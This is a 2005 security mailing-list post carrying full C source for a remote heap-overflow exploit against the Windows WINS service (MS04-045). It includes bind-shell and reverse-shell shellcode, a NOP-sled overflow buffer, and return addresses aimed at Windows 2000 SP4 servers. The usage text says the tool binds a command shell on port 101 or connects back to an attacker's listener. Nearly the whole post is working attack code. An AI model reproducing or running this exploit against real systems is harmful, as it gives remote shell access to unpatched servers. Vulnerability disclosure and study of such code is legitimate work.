Date: Mon, 4 Apr 2005 15:05:29 +0200
From: "class101@...-SQUAD.com" <class101@...-squad.com>
To: "Full-Disclosure" <Full-Disclosure@...ts.grok.org.uk>,
	<vulnwatch@...nwatch.org>, <bugtraq@...urityfocus.com>,
	<milw0rm@...il.com>
Subject: Microsoft Windows Internet Name Service (WINS)
	Remote Heap Overflow Exploit



class101.org for a clean code.

/*
                       Windows Internet Name Service (WINS)
                           Remote Heap Buffer Overflow
                       ------------------------------------
                       ------------------------------------

Advisory credits:
----------------

  Nicolas Waisman of Immunity Inc. (www.immunitysec.com)

Advisory link:
----------------

  immunitysec.com/downloads/instantanea.pdf

Fix:
----------------

  support.microsoft.com/kb/870763 (MS04-045)

Exploit method:
----------------

  PEB (RtlEnterCriticalSection)

Tested Working:
----------------

  Win2k SP4          Server ENGLISH (should be all langages, not sure)
  Win2k SP4 Advanced Server ENGLISH (should be all langages, not sure)
                       (KB870763 removed!)

Note:
----------------

  A HAT-SQUAD view on this hole; exploitable and remaining critic for
Windows 2000.
  May need update for Windows 2003 due to the different
  structure of wins.exe in it but the bug remain exploitable
  with no KB870763 of course....
  If you look closely at my code , you will notice two overwrites,
  this is the difference between Server <=> Advanced Server, with an
  el8 pad, repair, you catch them both.

Greetings:
----------------

  All guys at hat-squad and metasploit
  also #n3ws at EFnet, useful to keep an eye on security.. (50 rsslinks)
  and thanx you leku.


                              -=[®class101.org]=-

*/

#include <stdio.h>
#include <string.h>
#ifdef WIN32
#include "winsock2.h"
#pragma comment(lib, "ws2_32")
#else
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#endif

char scode1[]=
"\x33\xC9\x83\xE9"
"\xAF\xD9\xEE\xD9\x74\x24\xF4\x5B\x81\x73\x13\xBB"
"\x1E\xD3\x6A\x83\xEB\xFC\xE2\xF4\x47\x74\x38\x25\x53\xE7\x2C\x95"
"\x44\x7E\x58\x06\x9F\x3A\x58\x2F\x87\x95\xAF\x6F\xC3\x1F\x3C\xE1"
"\xF4\x06\x58\x35\x9B\x1F\x38\x89\x8B\x57\x58\x5E\x30\x1F\x3D\x5B"
"\x7B\x87\x7F\xEE\x7B\x6A\xD4\xAB\x71\x13\xD2\xA8\x50\xEA\xE8\x3E"
"\x9F\x36\xA6\x89\x30\x41\xF7\x6B\x50\x78\x58\x66\xF0\x95\x8C\x76"
"\xBA\xF5\xD0\x46\x30\x97\xBF\x4E\xA7\x7F\x10\x5B\x7B\x7A\x58\x2A"
"\x8B\x95\x93\x66\x30\x6E\xCF\xC7\x30\x5E\xDB\x34\xD3\x90\x9D\x64"
"\x57\x4E\x2C\xBC\x8A\xC5\xB5\x39\xDD\x76\xE0\x58\xD3\x69\xA0\x58"
"\xE4\x4A\x2C\xBA\xD3\xD5\x3E\x96\x80\x4E\x2C\xBC\xE4\x97\x36\x0C"
"\x3A\xF3\xDB\x68\xEE\x74\xD1\x95\x6B\x76\x0A\x63\x4E\xB3\x84\x95"
"\x6D\x4D\x80\x39\xE8\x4D\x90\x39\xF8\x4D\x2C\xBA\xDD\x76\xD3\x0F"
"\xDD\x4D\x5A\x8B\x2E\x76\x77\x70\xCB\xD9\x84\x95\x6D\x74\xC3\x3B"
"\xEE\xE1\x03\x02\x1F\xB3\xFD\x83\xEC\xE1\x05\x39\xEE\xE1\x03\x02"
"\x5E\x57\x55\x23\xEC\xE1\x05\x3A\xEF\x4A\x86\x95\x6B\x8D\xBB\x8D"
"\xC2\xD8\xAA\x3D\x44\xC8\x86\x95\x6B\x78\xB9\x0E\xDD\x76\xB0\x07"
"\x32\xFB\xB9\x3A\xE2\x37\x1F\xE3\x5C\x74\x97\xE3\x59\x2F\x13\x99"
"\x11\xE0\x91\x47\x45\x5C\xFF\xF9\x36\x64\xEB\xC1\x10\xB5\xBB\x18"
"\x45\xAD\xC5\x95\xCE\x5A\x2C\xBC\xE0\x49\x81\x3B\xEA\x4F\xB9\x6B"
"\xEA\x4F\x86\x3B\x44\xCE\xBB\xC7\x62\x1B\x1D\x39\x44\xC8\xB9\x95"
"\x44\x29\x2C\xBA\x30\x49\x2F\xE9\x7F\x7A\x2C\xBC\xE9\xE1\x03\x02"
"\x54\xD0\x33\x0A\xE8\xE1\x05\x95\x6B\x1E\xD3\x6A";


char scode2[]=
/*original vlad902's reverse shellcode from metasploit.com
  NOT xored, modded by class101 for ca's xpl0it to remove the common badchar
"\x20"
  original bytes + modded = 291 + 3 = 294 bytes reverse shellcode v1.31*/
"\xFC\x6A\xEB\x52" /*modded adjusting jump*/
"\xE8\xF9\xFF\xFF\xFF\x60\x8B\x6C\x24\x24\x8B\x45\x3C\x8B\x7C\x05"
"\x78\x01\xEF"
"\x83\xC7\x01" /*modded, adding 1 to edi*/
"\x8B\x4F\x17" /*modded, adjusting ecx*/
"\x8B\x5F\x1F" /*modded, adjusting ebx, "\x20" out, yeahouu ;>*/
"\x01\xEB\xE3\x30\x49\x8B\x34\x8B\x01\xEE\x31\xC0\x99\xAC\x84\xC0"
"\x74\x07\xC1\xCA\x0D\x01\xC2\xEB\xF4\x3B\x54\x24\x28\x75\xE3"
"\x8B\x5F\x23" /*modded, adjusting ebx*/
"\x01\xEB\x66\x8B\x0C\x4B"
"\x8B\x5F\x1B" /*modded, adjusting ebx*/
"\x01\xEB\x03\x2C\x8B\x89\x6C\x24\x1C\x61\xC3\x31\xC0\x64\x8B\x40"
"\x30\x8B\x40\x0C\x8B\x70\x1C\xAD\x8B\x40\x08\x5E\x68\x8E\x4E\x0E"
"\xEC\x50\xFF\xD6\x31\xDB\x66\x53\x66\x68\x33\x32\x68\x77\x73\x32"
"\x5F\x54\xFF\xD0\x68\xCB\xED\xFC\x3B\x50\xFF\xD6\x5F\x89\xE5\x66"
"\x81\xED\x08\x02\x55\x6A\x02\xFF\xD0\x68\xD9\x09\xF5\xAD\x57\xFF"
"\xD6\x53\x53\x53\x53\x43\x53\x43\x53\xFF\xD0\x68\x00\x00\x00\x00"
"\x66\x68\x00\x00\x66\x53\x89\xE1\x95\x68\xEC\xF9\xAA\x60\x57\xFF"
"\xD6\x6A\x10\x51\x55\xFF\xD0\x66\x6A\x64\x66\x68\x63\x6D\x6A\x50"
"\x59\x29\xCC\x89\xE7\x6A\x44\x89\xE2\x31\xC0\xF3\xAA\x95\x89\xFD"
"\xFE\x42\x2D\xFE\x42\x2C\x8D\x7A\x38\xAB\xAB\xAB\x68\x72\xFE\xB3"
"\x16\xFF\x75\x28\xFF\xD6\x5B\x57\x52\x51\x51\x51\x6A\x01\x51\x51"
"\x55\x51\xFF\xD0\x68\xAD\xD9\x05\xCE\x53\xFF\xD6\x6A\xFF\xFF\x37"
"\xFF\xD0\x68\xE7\x79\xC6\x79\xFF\x75\x04\xFF\xD6\xFF\x77\xFC\xFF"
"\xD0\x68\xEF\xCE\xE0\x60\x53\xFF\xD6\xFF\xD0";

char bug[]=
"\x00\x00\x07\xD0\x00\x00\xFF\x00\x05\x39\x1F\xBC\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90";

char payload[256],payload2[4096];
int tot;

char pad[]="\x00\x00\x00\x00",padB[]="\xEB\x07";
char ret1[]="\xFC\x20\x39\x05";
char ret1b[]="\x20\xF0\xFD\x7F";
char repair[]="\xC7\x40\x20\x60\x20\xF8\x77";
char sip[3],spo[1];

#ifdef WIN32
 WSADATA wsadata;
#endif

void ver();
void usage(char* us);
void sl(int time);

int main(int argc,char *argv[])
{
 ver();
 int check1, check2;
 unsigned long gip;
 unsigned short gport;
 char *what, *where, *os;
 if
(strlen(argv[2])<7||argc==5||argc>6||argc<3||atoi(argv[1])>1||atoi(argv[1])<
1){usage(argv[0]);return -1;}
 if (argc==6){if (strlen(argv[4])<7){usage(argv[0]);return -1;}}
#ifndef WIN32
 if (argc==6)
 {
   gip=inet_addr(argv[4])^(long)0x00000000;
  gport=htons(atoi(argv[5]))^(short)0x0000;
  memcpy(&sip[0], &gip, 4);memcpy(&spo[0], &gport, 2);
  check1=strlen(&sip[0]);check2=strlen(&spo[0]);
  if (check1 == 0||check1 == 1||check1 == 2||check1 == 3){
   printf("[+] error, the IP has a null byte in hex...\n");return -1;}
  if (check2 != 2){printf("[+] error, the PORT has a null byte in
hex...\n");return -1;}
 }
#define Sleep  sleep
#define SOCKET  int
#define closesocket(s) close(s)
#else
 if (WSAStartup(MAKEWORD(2,0),&wsadata)!=0){printf("[+] wsastartup
error\n");return -1;}
 if (argc==6)
 {
  gip=inet_addr(argv[4])^(ULONG)0x00000000;
  gport=htons(atoi(argv[5]))^(USHORT)0x0000;
  memcpy(&sip[0], &gip, 4);memcpy(&spo[0], &gport, 2);
  check1=strlen(&sip[0]);check2=strlen(&spo[0]);
  if (check1 == 0||check1 == 1||check1 == 2||check1 == 3){
   printf("[+] error, the IP has a null byte in hex...\n");return -1;}
  if (check2 != 2){printf("[+] error, the PORT has a null byte in
hex...\n");return -1;}
 }
#endif
 int ip=htonl(inet_addr(argv[2])), port;
 if (argc==4||argc==6){port=atoi(argv[3]);} else port=42;
 SOCKET s;fd_set mask;struct timeval timeout; struct sockaddr_in server;
 s=socket(AF_INET,SOCK_STREAM,0);
 if (s==-1){printf("[+] socket() error\n");return -1;}
 if (atoi(argv[1]) == 1){what=ret1;where=ret1b;os="Win2k SP4          Server
ENGLISH\n[+]                       Win2k SP4 Advanced Server ENGLISH\n";}
 printf("[+]               TARGET: %s\n",os);sl(1);
 server.sin_family=AF_INET;
 server.sin_addr.s_addr=htonl(ip);
 server.sin_port=htons(port);
 connect(s,( struct sockaddr *)&server,sizeof(server));
 timeout.tv_sec=3;timeout.tv_usec=0;FD_ZERO(&mask);FD_SET(s,&mask);
 switch(select(s+1,NULL,&mask,NULL,&timeout))
 {
  case -1: {printf("[+] select() error\n");closesocket(s);return -1;}
  case 0: {printf("[+] connection failed\n");closesocket(s);return -1;}
  default:
  if(FD_ISSET(s,&mask))
  {
   printf("[+] connected\n");sl(1);
   printf("[+] building the payload..\n");sl(1);

memset(payload,0x90,196);memcpy(payload+132,what,4);memcpy(payload+136,where
,4);
   memcpy(&bug[84], what, 4);memcpy(&bug[88], where, 4);
   memset(payload2,0x90,2100);
   memcpy(payload2+252,padB,2);memcpy(payload2+52,padB,2);
   memcpy(payload2+263,repair,7);memcpy(payload2+63,repair,7);
   if (argc==6)
   {
    memcpy(&scode2[167], &gip, 4);
    memcpy(&scode2[173], &gport, 2);
    memcpy(payload2+350,scode2,strlen(scode2));
   }
   else memcpy(payload2+350,scode1,strlen(scode1));
   printf("[+] sh0uting the heap!\n");sl(1);
   if (send(s,bug,sizeof(bug)-1,0)==-1) { printf("[+] sending error, the
server prolly rebooted.\n");return -1;}
   if (send(s,pad,sizeof(pad)-1,0)==-1) { printf("[+] sending error, the
server prolly rebooted.\n");return -1;}
   if (send(s,payload,strlen(payload),0)==-1) { printf("[+] sending error,
the server prolly rebooted.\n");return -1;}
   if (send(s,pad,sizeof(pad)-1,0)==-1) { printf("[+] sending error, the
server prolly rebooted.\n");return -1;}
   if (send(s,payload2,strlen(payload2),0)==-1) { printf("[+] sending error,
the server prolly rebooted.\n");return -1;}
   sl(3);
   tot=sizeof(bug)-1+(sizeof(pad)*2)-2+strlen(payload)+strlen(payload2);
   printf("[+]\n[+] payload size: %d\n",tot);sl(1);
   if (argc==6){printf("[+] payload sent, look at your listener, you should
get a shell\n");}
   else printf("[+] payload sent, use telnet %s:101 to get a
shell\n",inet_ntoa(server.sin_addr));
   return 0;
  }
 }
 closesocket(s);
#ifdef WIN32
 WSACleanup();
#endif
 return 0;
}


void usage(char* us)
{
 printf("
\n");
 printf("      [+]  . 101_WINS.exe Target VulnIP (bind mode)
         \n");
 printf("      [+]  . 101_WINS.exe Target VulnIP VulnPORT (bind mode)
\n");
 printf("      [+]  . 101_WINS.exe Target VulnIP VulnPORT GayIP GayPORT
(reverse mode)   \n");
 printf("TARGETS:
\n");
 printf("      [+] 1. Win2k SP4          Server English (*) - v5.0.2195
\n");
 printf("      [+] 1. Win2k SP4 Advanced Server English (*) - v5.0.2195
\n");
 printf("NOTE:
\n");
 printf("      The exploit bind a cmdshell port 101 or
\n");
 printf("      reverse a cmdshell on your listener.
\n");
 printf("      A wildcard (*) mean tested working, else, supposed working.
\n");
 printf("      A symbol   (-) mean all.
\n");
 printf("      Compilation msvc6, cygwin, Linux.
\n");
 printf("
\n");
 return;
}

void ver()
{
 printf("
\n");
 printf("
===================================================[v0.1]====\n");
 printf("        ============Windows Internet Name Service
(WINS)=============\n");
 printf("        ============Remote Heap Buffer Overflow
Exploit==============\n");
 printf("        ======coded by class101=============[Hat-Squad.com
2005]=====\n");
 printf("
=============================================================\n");
 printf("
\n");
}

void sl(int time)
{
#ifdef WIN32
   Sleep(time*1000);
#else
   Sleep(time);
#endif
}


-------------------------------------------------------------
class101
Jr. Researcher
Hat-Squad.com
-------------------------------------------------------------

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